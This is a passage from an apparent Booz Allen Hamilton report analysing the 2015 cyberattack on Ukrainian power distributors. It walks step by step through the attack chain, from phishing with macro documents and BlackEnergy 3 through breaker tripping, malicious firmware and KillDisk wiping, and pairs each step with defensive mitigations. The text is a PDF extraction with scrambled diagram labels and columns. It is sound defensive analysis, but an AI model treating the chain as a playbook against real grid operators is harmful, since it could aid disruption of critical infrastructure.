+Exploitation method: This section includes a +summary of the method used by threat actors to +complete the step. +Impact: This section includes a brief summary of +the capability achieved by threat actors, or any +disruption or destruction of systems operated by +the targeted operator, upon completion of the step. +Booz Allen +s recommended mitigations: This +section provides the technical or procedural +security measures that would help prevent or limit +the impact of the activities associated with the step. +One step required employees to actively grant permissions that enabled the malware to execute. Another step manipulated a +task scheduling service available on the targeted network. +boozallen.com/ics +EXHIBIT 2. WALK THROUGH OF THREAT ACTOR ACTIVITY, STEPS 1 THROUGH 9 +External +Infrastructure +Corporate Network +Network +Share +Attack Package +BlackEnergy +Malware +Plugin +Phishing Email, +Weaponized File +Workstation +Data Center +Workstation +Steps 1 +Telephone +Server +Step 1: Reconnaissance and Intelligence +Gathering. Prior to the attack, threat actors likely +Automatedbegin open-source intelligence gathering and +reconnaissance on potential targets. +Domain +TDoS +VPN Server +Controller +System Step 2: Malware Development and +or Gateway +Server +Weaponization. Threat actors acquire or +Call Center +independently develop the malware to be used in the +attack, as well as the weaponized documents to deliver +the malicious files. +Step 3: Deliver Remote Access Trojan +(RAT). Threat actors initiate phishing campaign +against electricity distributors. +Step 4: Install RAT. Threat actors successfully +CC Servers +install BlackEnergy 3 on each of the three targeted +electricity distributors after employees open the +weaponized MS Office email attachments and enable +macros. +Step 5: Establish Command-and-Control +ICS Network +(CC) Connection. Malware establishes +Control Center +connection from malicious implant on targeted +HMI Workstation +network to attacker-controlled command-and-control +(CC) server. +Step 6: Deliver Malware Plugins +Server +Valid +VPN Server +Following installation of BlackEnergy 3 implant, threat +Credential +or Gateway +actors likely import plugins to enable credential +DMS Client +Application +harvesting and internal network reconnaissance. +Step 7: Harvest Credentials. Delivered BE3 +malware plugins conduct credential harvesting and +Networked +Substation +network discovery functions. +Step 8: Lateral Movement and Target +Identification on Corporate Network. Threat +actors conduct internal reconnaissance on corporate +Converters +Converters +Converters +network to discover potential targets and expand +access.d +Breakers +Breakers +Breakers +Step 9: Lateral Movement and Target +Identification on ICS network. Threat actors +use stolen credentials to access the control +environment and conduct reconnaissance on deployed +In this step, the threat actors are not passing through the Domain Controller server in their lateral movements across +systems. +the network, as they would, for example, a VPN gateway. In accessing the Domain Controller they are retrieving, +or making, valid user credentials to enable expansive access across the corporate network and pivoting into the ICS +network. The actual movement and network exploration would follow this compromise, would be conducted using the +stolen credentials, and would occur on many machines across the network. +Booz Allen Hamilton +In addition to the high-level summary of each step +provided in this section, each step has a corresponding textual summary provided in Appendix A. +This textual summary provides the detailed +overview of the evidence relating to each step, +including citations for all referenced material and +explanations of analyst assessments. +RECONNAISSANCE +STEP 1: RECONNAISSANCE AND +INTELLIGENCE GATHERING +Prior to the attack, threat actors likely begin +open-source intelligence gathering and reconnaissance on potential targets. +Location: External infrastructure + Utilize open-source tools, such as Shodan, to +monitor your organization +s external IP address +range for unexpected Internet-facing devices. +Pay special attention to identified devices with +common ICS ports, such as Modbus (502) or +EtherNet/IP (44818). + Maintain a detailed inventory of all assets and +communication paths to develop an understanding of potential external attack vectors. +Asset inventories should cover both equipment +and applications, and should include such +details as MAC ID, IP address, and firmware +version, to prevent rogue network connections +or modifications to network devices. + Actively monitor perimeter network security +devices to identify active reconnaissance +techniques, such as port scanning. +Action: Active threat actor activity +Timeline: May 2014 or earlier +WEAPONIZATION +Device/application: Activity conducted external +to network +STEP 2: MALWARE DEVELOPMENT +AND WEAPONIZATION +Role in infrastructure: Activity conducted external +to network +Exploitation method: Threat actors likely gather +publicly available information on deployed +systems and network architecture, and may also +use active discovery methods such as scanning +of perimeter devices. +Impact: Threat actors gather targeting data on +personnel and network infrastructure for use in +future attacks. +Booz Allen +s recommended mitigations: + Implement information classification program +to categorize critical system information that +could be used by a threat actor. Sensitive +information such as this should have restricted +distribution and not be publicly available. + Utilize open-source intelligence gathering to +identify publicly accessible information on the +organization or personnel that could be used +by threat actors in social engineering attacks. +Threat actors acquire or independently develop +the malware to be used in the attack, as well as +the weaponized documents to deliver the +malicious files. +Location: External infrastructure +Action: Active threat actor activity +Timeline: May 2014 or earlier +Device/application: Activity conducted external +to network +Role in infrastructure: Activity conducted external +to network +Exploitation method: Threat actors acquire +BlackEnergy remote access trojan (RAT), and +weaponize Microsoft (MS) Word and Excel files +with VBA scripts to drop the BlackEnergy RAT. +Impact: Combined with targeting data gathered +during the reconnaissance phase, threat actors are +able to develop tailored attack packages. At the +completion of this step, threat actors have all the +necessary tools to begin their attack. +boozallen.com/ics +Booz Allen +s recommended mitigation: + Implement application whitelisting to prevent +unknown files from being executed and apply +sandboxing to non-critical applications in order +to reduce unintended modifications. +DELIVERY +STEP 3: DELIVER RAT +Threat actors initiate phishing campaign against +electricity distributors. +Location: Corporate network +Action: Active threat actor activity +should review any reports, perform malware +analysis, and extract an indicator of compromise (IOC) to identify any infections on the +organization +s network. + Use a network-based antivirus solution to +detect and prevent known malware from +entering the organization +s network. + Install and configure an anti-spam solution to +screen incoming emails for suspicious content +or abnormal senders. + Subscribe to and monitor threat intelligence +sources to be aware of ongoing campaigns. +This information can be used to focus defense +efforts and search for IOCs. +Timeline: May 2014 +June 2015 e +Device/application: Employee workstations, likely +using MS Windows OS and provisioned with MS +Internet Explorer web browser +Role in infrastructure: Support email communications and other IT services used in business +operations. +Exploitation method: Threat actors send innocuous-looking emails containing the +modified MS Office files as attachments to +users on targeted networks. This tactic is +known as phishing. +Impact: RAT is delivered to targeted network, but +not installed. Installation requires employees to +actively grant permission to the embedded VBA +scripts to execute. +Booz Allen +s recommended mitigations: + Implement a position-specific cybersecurity awareness training program to ensure +employees understand the organizational risks +associated with cyberattacks and how to +identify social engineering techniques such +as phishing. + Establish a Computer Incident Response Team +(CIRT) and ensure all employees are aware that +suspicious emails or attachments should be +forwarded here for investigation. The CIRT +Booz Allen Hamilton +EXPLOITATION AND INSTALLATION +STEP 4: INSTALL RAT +Threat actors successfully install BlackEnergy 3 on +each of the three targeted electricity distributors +after employees open the weaponized MS Office +email attachments and enable macros. +Location: Corporate network +Action: Employee-enabled malware execution +Timeline: May 2014 +June 2015 +Device/application: Employee workstations, likely +using MS Windows OS and provisioned with MS +Internet Explorer web browser +Role in infrastructure: Support email communications and other services used in business +operations. +Exploitation method: In a social engineering +attack, employees are prompted to enable +macros when opening the file attached to +phishing email. Once macros are enabled, the +VBA script places multiple malicious files on +the workstation, unbeknown to the employee. +Impact: Files placed on workstations within the +corporate network can begin the communication +process with external CC servers. +Ukrainian Deputy Energy Minister noted access was gained at least six months prior to the final attack. Earliest observed +phishing attack matching TTP against electricity distributor was May 2014. +Booz Allen +s recommended mitigations: + Implement application whitelisting to prevent +unknown files from being executed. + Use host-based antivirus software to detect +and prevent known malware from infecting +organization systems. + Set script execution policy to allow only signed +VBA scripts and macros to be run. +COMMAND AND CONTROL +STEP 5: ESTABLISH CC CONNECTION +Malware establishes connection from malicious +implant on targeted network to attacker-controlled +CC server. +Location: Corporate network +Action: Malware execution +Timeline: May 2014 +June 2015 +Device/application: Employee workstations, likely +using MS Windows OS and provisioned with MS +Internet Explorer web browser +Role in infrastructure: Support email communications and other services used in business +operations. +Exploitation method: The external connection +is established as part of the execution routine +following installation of the malicious files. +Once permissions to execute macros are granted +by employees, the malicious VBA script installs +the malware implant, and the implant attempts +to communicate with an external server via +HTTP requests. +Impact: Threat actors gain unauthorized access to +targeted networks, including the ability to deliver +additional BlackEnergy plugins to enable internal +network reconnaissance and credential harvesting. +Booz Allen +s recommended mitigations: + Configure firewall ingress and egress traffic +filtering to block anomalous incoming and +outgoing network communications. + Blacklist known malicious IP addresses and +monitor for any form of network communications to these addresses. +ACTION ON OBJECTIVES: +INTERNAL RECONNAISSANCE AND +LATERAL MOVEMENT +STEP 6: DELIVER MALWARE PLUGINS +Following installation of BlackEnergy 3 implant, +threat actors likely import plugins to enable +credential harvesting and internal network +reconnaissance. +Location: Corporate network +Action: Active threat actor activity +Timeline: June 2015 +December 2015 +Device/application: Employee workstations, +likely using MS Windows OS and provisioned +with MS Internet Explorer web browser +Role in infrastructure: Support email +communications and other services used +in business operations +Exploitation method: The BlackEnergy 3 implant +delivered in the initial attack functions as a +receiver for additional malware plugins. After +establishing a remote connection with delivered +files via HTTPS, the threat likely delivers the +additional malware components. +Impact: The delivered plugins enable additional +BlackEnergy functionality, including harvesting +user credentials, keylogging, and network +reconnaissance. +boozallen.com/ics +Booz Allen +s recommended mitigations: + Implement application whitelisting to prevent +unknown files from being executed. + Configure firewall ingress and egress traffic +filtering to block anomalous incoming and +outgoing network communications. + Blacklist known malicious IP addresses and +monitor for any form of network communications to these addresses. + Use host-based antivirus software to detect +and prevent known malware from infecting +organization systems. +STEP 7: HARVEST CREDENTIALS +Delivered BlackEnergy 3 malware plugins conduct +credential harvesting and network discovery +functions. +Location: Corporate network +Action: Active threat actor activity, malware +execution +Timeline: June 2015 +December 2015 +Device/application: Windows OS workstations, +Windows domain controllers, virtual private +network (VPN) service deployed in control +environment +Role in infrastructure: These systems support +business operations, manage permissions and +domain access, and provide remote network +access respectively. +Exploitation method: Threat actors use delivered +BlackEnergy 3 plugins to gather stored credentials +or log keystrokes. After gathering valid credentials +for user with administrator privileges, threat actors +use the stolen administrator credentials to access +the domain controller, recover additional credentials, and create new privileged accounts. +Impact: Threat actors obtain valid credentials +enabling them to expand access across the +corporate network and into the control environment, +ensure persistent access, and blend into regular +network traffic. +Booz Allen Hamilton +Booz Allen +s recommended mitigations: + Implement centralized logging and monitor +audit logs for unusual logins or use of administrative privileges (e.g., abnormal hours, +unsuccessful login attempts). + Establish a baseline of user domain and local +accounts and monitor for any account +additions or privilege escalations outside of the +organization +s approved workflow. + Implement least privilege policies across all +systems to ensure administrative accounts are +properly restricted and assigned to only those +who require them. +STEP 8: LATERAL MOVEMENT +AND TARGET IDENTIFICATION ON +CORPORATE NETWORK +Threat actors conduct internal reconnaissance on +the corporate network to discover potential targets +and expand access. +Location: Corporate network +Action: Active threat actor activity, malware +execution +Timeline: June 2015 +December 2015 +Device/application: Discovered systems, including +networked uninterruptable power +supply (UPS) devices, data center servers, +a telephone communications server, and +employee workstations +Role in infrastructure: Internal reconnaissance +efforts could potentially include all deployed +devices on the corporate network. +Exploitation method: Threat actors likely use a +combination of valid user credentials and +BlackEnergy 3 plugins developed to conduct +network discovery. VS.dll plugin is likely used to +leverage MS Sysinternals PsExec to establish +remote connections to workstations and servers. +Impact: Threat actors are able to enumerate the +systems deployed across the network, identify +targets, and begin preparations for final attack. +Booz Allen +s recommended mitigations: + Implement active network security monitoring +to identify anomalous network behavior. + Ensure network is appropriately segregated to +inhibit lateral movement. + Monitor audit logs for unusual logins or use of +administrative privileges (e.g., abnormal hours, +unsuccessful login attempts). + Establish production honeypots spread +throughout the network to alert on any +attempts to login or access files. These +honeypot systems have no intentional purpose, +and any attempt to access them is a notable +security alert. +STEP 9: LATERAL MOVEMENT +AND TARGET IDENTIFICATION ON +ICS NETWORK +Threat actors use stolen credentials to access the +control environment and conduct reconnaissance +on deployed systems. +Location: ICS network +Action: Active threat actor activity +Timeline: June 2015 +December 2015 +Device/application: Discovered systems, including +human machine interface (HMI) workstations, +distributed management system (DMS) servers, +UPS devices,58 serial-to-Ethernet converters (Moxa +UC 7408-LX-Plus,59 IRZRUH2 3G60), remote +terminal unit (RTU) devices (ABB RTU560 +CMU-02), and the substation breakers +Role in infrastructure: HMI workstations provide +a graphical user interface for operators to remotely +monitor and control devices within the control +environment. DMS applications enable centralized +monitoring and issuing of commands within a +control environment. UPS devices condition +incoming power to downstream devices and +provide temporary battery backup power. +Serial-to-Ethernet converters convert serial data +from field devices to digital packets, enabling +communications with the control center. RTU +devices function as a communication processor or +a data concentrator in a substation, enabling +communications and data transfer between field +devices in the substations and the control center. +Substation breakers are devices designed to +physically interrupt current flows through an +electrical circuit. +Exploitation method: Threat actors use valid +credentials to interact directly with the client +application for the DMS server via a VPN, and +native remote access services to access employee +workstations hosting HMI applications. This +access likely enables threat actors to enumerate all +networked devices within the control environment. +Impact: Threat actors gain access to critical +systems, enabling them to begin target selection +and preparations for final attack. +Booz Allen +s recommended mitigations: + Install and configure a stateful firewall or data +diode device between the corporate network +and ICS network. + Configure an ICS network demilitarized zone +(DMZ) and prohibit any direct traffic between +the corporate and ICS networks. All traffic +between these domains should be heavily +controlled through the use of proxies and be +actively monitored. + Any access to systems within the control +system DMZ should require the use of +two-factor authentication. + Implement network segregation of control +system components within the ICS network +using zone and conduit techniques. Use +industrial firewalls between these network +segments whereby only specified traffic can +enter and exit. All traffic outside of what is +explicitly allowed should trigger an alert. + Take advantage of the predictability in control +system traffic by establishing a baseline of +normal ICS network communications and +conduct active monitoring for anomalies. +boozallen.com/ics +EXHIBIT 3. WALK THROUGH OF THREAT ACTOR ACTIVITY, STEPS 10 THROUGH 17 +External +Infrastructure +Attack Package +Corporate Network +Workstation +Data Center +Network +Share +Malicious +Firmware +KillDisk +Disruption +VPN Server +or Gateway +Domain +Controller +Server +Workstation +Steps 10 +Telephone +Server +Automated +TDoS +System +Call Center +Valid +Credential +CC Servers +ICS Network +Control Center +HMI Workstation +Valid +Credential +Server +VPN Server +or Gateway +Networked +Substation +DMS Client +Application +Converters +Converters +Converters +Breakers +Breakers +Breakers +Booz Allen Hamilton +Step 10: Develop Malicious Firmware. Threat +actors develop malicious firmware update for identified +serial-to-Ethernet converters. +Step 11: Deliver Data Destruction Malware. +Threat actors likely deliver KillDisk malware to +network share and set policy on domain controller to +retrieve malware and execute upon system reboot. +Step 12: Schedule Uninterruptable Power +Supply (UPS) Disruption. Threat actors +schedule unauthorized outage of UPS for telephone +communication server and data center servers. +Step 13: Trip Breakers. Threat actors use native +remote access services and valid credentials to open +breakers and disrupt power distribution to over +225,000 customers within three distribution areas. +Step 14: Sever Connection to Field +Devices. After opening the breakers, threat actors +deliver malicious firmware update to serial-to-Ethernet +communications devices. The malicious updates +render the converters inoperable, and sever +connections between the control center and the +substations. +Step 15: Telephony Denial-of-Service +Attack. Threat actors initiate DoS attack on +telephone call center at one of the targeted +distributors. +Step 16: Disable Critical Systems via UPS +Outage. Previously scheduled UPS outage cuts power +to targeted telephone communications server and data +center servers. +Step 17: Destroy Critical System Data. +Scheduled execution of KillDisk malware erases the +master boot records and deletes system log data on +targeted machines across the victims + corporate and +ICS network. +ACTION ON OBJECTIVES: +ATTACK PREPARATION +STEP 10: DEVELOP MALICIOUS FIRMWARE +Threat actors develop malicious firmware update +for identified serial-to-Ethernet converters. +Location: External infrastructure +Action: Active threat actor activity +Timeline: June 2015 +December 2015 +Device/application: Activity conducted external +to network +Role in infrastructure: Activity conducted external +to network +Exploitation method: After identifying deployed +converts, threat actors begin a malware development and testing effort on infrastructure outside +of the targeted network. +Impact: Upon completion of this step, threat +actors would have target-specific malware +designed to disrupt communications with field +devices by disabling deployed converters. +Booz Allen +s recommended mitigations: + Implement information classification program +to categorize critical system information that +could be used by a threat actor. Sensitive +information such as this should have restricted +distribution and not be publicly available. + Review publicly available information, including +job announcements and new supplier agreements, to ensure they do not provide inadvertent information to a threat actor on deployed +devices. +STEP 11: DELIVER DATA DESTRUCTION +MALWARE +Threat actors likely deliver KillDisk malware +to network share and set policy on domain +controller to retrieve malware and execute +upon system reboot. +Location: Corporate and ICS network +Action: Active threat actor activity +Timeline: December 2015, directly preceding +attack +Device/application: Network share and Windows +domain controller server +Role in infrastructure: The network share +provides access to shared digital resources, and +the Windows domain controller manages access +control throughout the network. +Exploitation method: Threat actors likely use +stolen credentials to place KillDisk malware on a +network share, then set the retrieval and execution +of the malicious files by implementing a policy on +the compromised domain controller server.f +Impact: Prescheduling execution of malware +enables coordination of multiple attack components, such that data destruction coincides with +or shortly follows attacks against breakers. +Booz Allen +s recommended mitigations: + Utilize network- and host-based antivirus +software to detect and prevent known malware +from infecting organization systems. + Regularly scan organizational machine images +with YARA rules to detect malware prior to +execution. + Restrict and monitor network share access +permissions. +STEP 12: SCHEDULE UPS DISRUPTION +Threat actors schedule unauthorized outage of +UPS for telephone communication server and data +center servers. +Location: Corporate and ICS network +Action: Active threat actor activity +Timeline: Directly preceding December 2015 attack +Device/application: Networked UPS devices with +remote management interface +This tactic was observed in attacks against the Ukrainian television broadcaster in October 2015. Domain controllers and +KillDisk execution upon reboot, observed in the December 2015 attacks, both indicate this tactic may have been repeated against +the electricity distributors. +boozallen.com/ics +Role in infrastructure: Prevent power outages +from disrupting continuous operation of critical +systems. +Exploitation method: Threat actors likely use valid +credentials to access privileged employee +accounts, then use this access to remotely +schedule unauthorized power outages. +Impact: Prescheduling outages enables +coordination of multiple attack components, +such that critical systems also go down as a +result of the power outages, stifling potential +restoration efforts. +Booz Allen +s recommended mitigations: + Isolate UPS systems, and other facility +management systems, from both the ICS and +corporate networks. + Disable remote management services for UPS +devices wherever possible. +ACTION ON OBJECTIVES: +EXECUTE ATTACK +STEP 13: TRIP BREAKERS +Threat actors use native remote access services +and valid credentials to open breakers and disrupt +power distribution to more than 225,000 +customers within three distribution areas. +Location: ICS network +Action: Active threat actor activity +Timeline: December 23, 2015, during +Device/application: HMI workstations, DMS +servers, RTU, and the substation breakers +Role in infrastructure: HMI workstations provide +a graphical user interface for operators to remotely +monitor and control devices within the control +environment. DMS applications enable centralized +monitoring and issuing of commands within a +control environment. Substation breakers are +Booz Allen Hamilton +devices designed to physically interrupt current +flows through an electrical circuit. +Exploitation method: Threat actors use valid +credentials to seize control of operator workstations, access DMS client application via VPN, +and issue unauthorized commands to breakers +at substations. +Impact: Opening of breakers results in disruption +of electricity service to customers. +Booz Allen +s recommended mitigations: + Disable remote access into an organization +ICS network wherever possible. + Require direct operator action to allow a +remote user connectivity into the ICS VPN. + Restrict user accounts with remote access +privileges to the minimum necessary and +require two-factor authentication for all VPN +connections. + Restrict functions of users who remotely access +the control system environment wherever +possible (e.g., read-only privileges). + Develop and practice incident response +scenarios to understand how to disrupt remote +connectivity and manually operate ICS equipment to bring operations back to a safe state. +STEP 14: SEVER CONNECTION TO FIELD +DEVICES +After opening the breakers, threat actors deliver +malicious firmware update to serial-to-Ethernet +communications devices. The malicious updates +render the converters inoperable and sever +connections between the control center and the +substations. +Location: ICS network +Action: Active threat actor activity +Timeline: December 23, 2015, during attack +Device/application: Serial-to-Ethernet converters +(Moxa UC 7408-LX-Plus,61 IRZRUH2 3G62) +Role in infrastructure: Convert serial data from +field devices to digital packets to be transmitted to +remote monitoring and administration systems +within the control network. +Exploitation method: Threat actors use network +access to push the malicious update over the +network to targeted devices. +Impact: Operators are unable to remotely close +the breakers, requiring workers to manually close +breakers at each substation. Forcing this manual +response draws out recovery time. +Exploitation method: Threat actors likely use +automated IP-based call generators to flood the +targeted call center. +Impact: Automated calls overwhelm resources at +call center, blocking legitimate communications +from customers. +Booz Allen +s recommended mitigations: + Establish a relationship with the +telecommunications provider to aid +in filtering out malicious calls during response +activities. +Booz Allen +s recommended mitigations: + Actively monitor ICS network for spikes in +traffic or anomalous communications associated with firmware updates or reprogramming. + Use physical means to restrict remote +reprogramming and firmware updates of field +devices (e.g., jumper settings, remote/run/prog +switches). + Implement a patch and vulnerability management plan for all computer systems, field +devices, and network infrastructure equipment. + Maintain offline spares of common ICS devices +within an organization to aid in the restoration +of compromised devices. +STEP 15: TELEPHONy DENIAL-OF-SERVICE +ATTACK +Threat actors initiate DoS attack on telephone call +center at one of the targeted distributors. +Location: Corporate network g +Action: Likely automated process +Timeline: Dec 23, 2015, during attack +Device/application: Operator telephone call +center +Role in infrastructure: Receive external telephone +communications from customers. +Public reporting did not indicate whether the call center deployed an automated system to receive calls or whether calls were +answered manually by call center personnel. +boozallen.com/ics +STEP 16: DISABLE CRITICAL SYSTEMS +VIA UPS OUTAGE +STEP 17: DESTROY CRITICAL +SYSTEM DATA +Previously scheduled UPS outage suspends +temporary battery backup power to targeted +telephone communications server and data +center servers. +Scheduled execution of KillDisk malware erases +the master boot records and deletes system log +data on targeted machines across the victims +corporate and ICS network. +Location: Corporate and ICS network +Location: Corporate network and ICS network +Action: Execution of prescheduled process +Action: Malware execution +Timeline: December 23, 2015, during attack +Timeline: December 23, 2015, during attack +Device/application: Networked UPS devices with +remote management interface, telephone +communications server, and data center servers +Device/application: RTU device (ABB RTU560 +CMU-02),63 servers and workstations used by +management, human resources (HR), and +finance staff +Role in infrastructure: Prevent power outages +from disrupting continuous operation of critical +systems. +Exploitation method: Threat actors use network +access to schedule the temporary backup power to +be offline at the time of the power outages. +Impact: Power loss to telephone server disrupts +communications across remote sites, and disruptions at control centers inhibit ability to monitor +and respond to attack against breakers. The +disruption at the data center and associated system +reboot trigger execution of KillDisk malware. +Booz Allen +s recommended mitigations: + Isolate UPS systems, and other facility +management systems, from both the +ICS and corporate networks. + Disable remote management services for UPS +devices wherever possible. +Booz Allen Hamilton +Role in infrastructure: The RTU functions as a +communication processor or data concentrator in +a substation, enabling communications and data +transfer between field devices in the substations +and the control center.64 Servers and workstations +are used by management, HR, and finance staff to +conduct business administration operations. +Exploitation method: Malware is retrieved from +the network share and executed on networked +devices according direction received via domain +controller policy or local Windows Task Scheduler. +Impact: Targeted systems are rendered inoperable, +and critical data is destroyed. +Booz Allen +s recommended mitigations: + Utilize network- and host-based antivirus +software to detect and prevent known malware +from infecting organization systems. + Regularly scan organizational machine images +with YARA rules to detect malware prior to +execution. + Develop and practice contingency plans that +include backup and restoration of critical data. +T O P 1 0 TA K E AWAY S +What to Consider When Protecting +Your OT Environment +Know your environment. Identifying risk +starts with the need to understand your +operational environment, including the +topology, network and wireless connection +points, and connected devices and assets. +Starting with a thorough understanding of +the people, processes, and technology that +comprise an operational environment +provides the foundation to identifying what +you need to defend. +Identify the key OT processes and data that +need to be protected. All processes and data +are not created equal, and cybersecurity +professionals often do not understand the +core operations of an ICS environment. +Cybersecurity professionals need to partner +with plant operators to identify and understand the essential operational processes +that, when disrupted, can cause significant +impact on operations. By assessing and +prioritizing these key processes, focused +mitigation strategies can be developed to +both defend and recover from cyberattacks. +Understand the threats. Threats against ICS +environments continue to increase, and +cybercriminals see this as an opportunity to +quickly monetize their trade through ransomware and other attacks. Stay informed about +what +s happening across the broader threat +landscape, both within your industry vertical +and beyond. Understand how malicious actors +may compromise your environment, whether +s launching phishing attacks against +operators in your plant or injecting malicious +code in ICS devices at some point in the +supply chain. Engage in an active dialog with +your security team to ensure they are on the +lookout for these types of events, and be +prepared to quickly respond. +Segment your OT and IT environments. +Like the Ukraine incident, many OT attacks +originate in the enterprise environment. It is +important that you understand your network +boundaries and connection points. We +recommend implementing network segmentation between your environment using +VLANs and firewalls. Also, when necessary +for ultimate protection, consider data diodes +or other unidirectional technologies for +one-way data transfer from sensitive +environments to authorized systems. +Focus on the Cyber security basics. Often, +we are making it easy on cybercriminals by +forgetting about the basics. Treat your OT +environment like you treat the enterprise. +Remember to focus on basic cyber hygiene +such as (a) strong passwords (or even a +password if not already protected); +(b) multifactor authentication for remote +access, third parties, and maintenance +providers; (c) access control to protect key +processes and data; and (d) the principle of +least privilege for user and admin accounts. +Maintain your OT security posture. We often +find HMI and other connected devices in the +OT environment to be outdated from a +patching perspective +remember, keep your +patches up to date if possible. We recognize +there are cases where vendors will not support +their product when new patches are applied. +In these cases, get creative because you +re still +at risk. Consider alternative controls, such as +whitelisting or network-based security +appliances that block access based on known +vulnerabilities. +boozallen.com/ics +Booz Allen Hamilton +Focus on proactive monitoring and +detection, not just compliance. A wise +person once said, +Compliance solves +yesterday +s problem today. + In today +cybersecurity landscape, new vulnerabilities +and threats emerge daily. We recommend +instrumenting your environment with both +traditional network and end-point security +solutions, along with emerging real-time OT +data collection sensors. We also recommend +implementing an OT monitoring environment, such as Splunk, that captures and +correlates events. For security operators, we +recommend watching critical processes and +data for firmware and configuration changes +outside the proper change control process. +Train your operators. Remember, people are +usually the weakest link in a cybersecurity +attack. Educate your team about the cyber +and technology risks facing OT and ICS +build awareness of the impacts these threats +can have on your OT environment. Cyber +criminals are actively looking to exploit ICS +operations; educate staff to watch out for +phishing emails and immediately report them +to your cyber response team. +Develop an OT incident response (IR) plan. +Everyone is vulnerable to a cyberattack; it +important to be prepared. We recommend +creating an OT IR plan that addresses safety +and plant operations stability as its primary +goal. The IR plan should include key stakeholders, such Health and Safety, Legal, +Compliance, and Environmental. Once +developed, it +s important that you socialize +and prepare to execute your plan. We +recommend using scenario-driven exercises +for operators to understand threats and how +to react to a cyber incident. Practice and drill +using the IR plan +and do it regularly! +10. +Red Team + your environment. +Cybercriminals think differently from +traditional network defenders. They are crafty +and financially motivated. It +s important to +view your environment from the eyes of your +adversary. We recommend engaging a +professional team to assess your environment from an +attacker +s view. + While +conventional red team practices may not +work in an OT environment, a skilled team +that understands the delicacies of operating +in this space can use offline environments +and built-in redundancy to conduct these +activities without affecting your operations. +Once completed, you can develop a mitigation plan based on findings and periodically +re-engage the red team! +CONCLUSION +The attack against Ukraine +s electricity distributors +was unparalleled in its impact and demonstrated +disciplined, professional execution. It is highly +likely that this attack was politically motivated and +conducted by a state-backed group.h As such, +these threat actors were among the most wellresourced and well-organized adversaries an +organization can face. ICS operators are capable +of meeting these adversaries head-on, and the +tools needed to mitigate and minimize the impact +of an attack such as this are readily available. +WHAT COULD HAVE PREVENTED THE +ATTACK FOR UKRAINE? +At the time of the attack, though the Ukrainian +electrical distributors had exploitable holes in their +security posture, they were not without defense. +The Ukrainian operators had implemented +firewalls between their internal networks and had +segmented their ICS environment from their +corporate network.65 This segmentation should +have forced attackers to search for vulnerabilities +on the deployed systems, had they not already +stolen valid credentials. The Ukrainian firms were +also fairly well positioned to respond to the +attacks; their extensive experience in manual +operation of their infrastructure enabled them to +get impacted systems up and running within +hours of the attack, despite lacking a prepared +system failure contingency plan.66 Likewise, the +firms were well prepared to investigate the +incident, as they had extensive logging capability +implemented across their systems and firewalls.67 +Despite these precautions, the attackers were +ultimately successful. The biggest point of failure +in the operator +s security posture, which allowed +attackers to interfere with the physical systems, +was the enablement of remote access for their +control environment and the lack of two-factor +authentication.68 +WHAT ABOUT THE UNITED STATES? +The risks demonstrated in the attacks in Ukraine +are significant for the US for several reasons. +Variants of BlackEnergy malware have been +identified on multiple critical infrastructure +networks in the US over the past several years.69 +Additionally, disruptions on the US grids would +likely have a greater financial and social impact +than in Ukraine. Given the right grid operating +conditions and timing of a cyberattack, another +Northeast Blackout or greater could occur. +Restoration from such a blackout could be even +longer if utilities were unable to remotely coordinate and operate key portions of their system. +Though a destructive attack like the Ukrainian +event has not occurred in the US energy sector, +various actors conduct reconnaissance and +technical collection on the sector. In fiscal year +2015, members of the US energy sector reported +46 cybersecurity incidentsi to ICS-CERT.70 +ICS-CERT does not publish a breakdown of the +types of incidents by sector, but it revealed that 31 +percent of total incidents reported across all +sectors involved successful intrusion into +operators + assets, a third of which included +accessing control systems.71 A few disclosed +examples of reconnaissance targeting the US +energy sector exist, the most relevant of which is a +BlackEnergy campaign active from at least 2011 to +2014,72 which the US government reportedly +suspected to be Russian-government orchestrated.73 In this case, the attackers who gained +access to systems did not attempt to +damage, +modify, or otherwise disrupt +processes. +An in-depth analysis of the weaponized file samples and recovered VBA scripts recovered for this report are provided in Appendix B. +ICS-CERT defines an incident as +the act of violating an explicit or implied security policy. + Examples of such incidents include +the receipt of spear-phishing email messages, attempts to gain unauthorized systems access, and the existence of malware in +either corporate or operational environments. Source: https://ics-cert.us-cert.gov/Report-Incident +boozallen.com/ics +In the near future, the likelihood of an attack against +US electrical infrastructure on the scale of the +Ukraine attack is very low. Based on previous +research, we conclude that several nation states +have the capability to conduct similar time-consuming, strategically complex attacks, but, based +their current relations with the United States, these +countries lack the intent to carry out such a brazen, +destructive attack against US critical infrastructure. +In recent years, we have seen several government +regulations and industry initiatives that have +reduced the risk of such attacks. These efforts are +designed and implemented to mitigate cyber risk +and ultimately to protect the reliability and +availability of the electrical grid. +Booz Allen Hamilton +That said, operators must remain vigilant as many +threats do exist. Cybercriminals and other +nonstate actors could use similar techniques and +tactics to those in the Ukraine incident to deliver +ransomware or other create other equally +disruptive scenarios without attacking the grid +directly. Additionally, global relations are in +constant flux and a significant deterioration in +relations with any of several countries could +induce them to conduct a Ukraine-style attack in +the US. +BOOZ ALLEN SERVICE OFFERINGS +Booz Allen operates at the intersection of +risk and technology to deliver engineering, +process, and domain-focused solutions for +managing process and cybersecurity challenges +in a sustainable manner. We bring the capability +to work across the entire organization, from the +C-Suite with business and regulatory perspectives +to the plant manager and the realities of the +industrial environment, to ensure business and +process integrity. We have developed cuttingedge solutions to help you identify, understand, +enumerate, and manage the risks in your +industrial control systems (ICS) environment. +++ CyberM3 + for ICS. Booz Allen +s unique +assessment methodology for performing +risk-based reviews of your operational +technology (OT) environment. We use it to +understand the key risk areas in your security +posture. We focus on (1) identification and +prioritization of your key industrial processes, +telemetry, and data (2) identification and +analysis of key industrial and plant systems, (3) +risk assessment of plant, facility, and field +operations, and (4) discovery to create a +comprehensive view of digital systems in your +OT environment. The output of CyberM3 is a +picture of your current OT security maturity +with a roadmap and actionable mitigation +plans to improve your OT security posture. +++ Dark Labs Blacklight + Assessment. Our +security engineers employ decades of expertise +shielding the world +s most critical information +to provide a red team assessment of your +critical infrastructure and OT environment. +Our Dark Labs team develops strategies to +assess your systems by deploying the same +techcraft malicious hackers apply to exploit +them. Through binary reverse engineering, +embedded security, network analysis and +operations, and data science, we assess your +ICS environment across a range of industries, +manufacturers, and vendors to identify critical +weaknesses +providing insights to preemptively secure your devices, infrastructure, and +ICS systems before they +re attacked. +++ Supply Chain Vendor Risk Analysis. Booz +Allen provides risk-based and continuous +monitoring of all aspects of the supply chain. +We can work with you to define security +requirements for your key technology, +hardware, and software deployments; evaluate +your suppliers; and embed security into your +procurement process, maintenance procedures, and other aspects of your supply chain +interactions to ensure that your ICS environment is not at risk. +++ ICS Security Architecture, Design, Review, 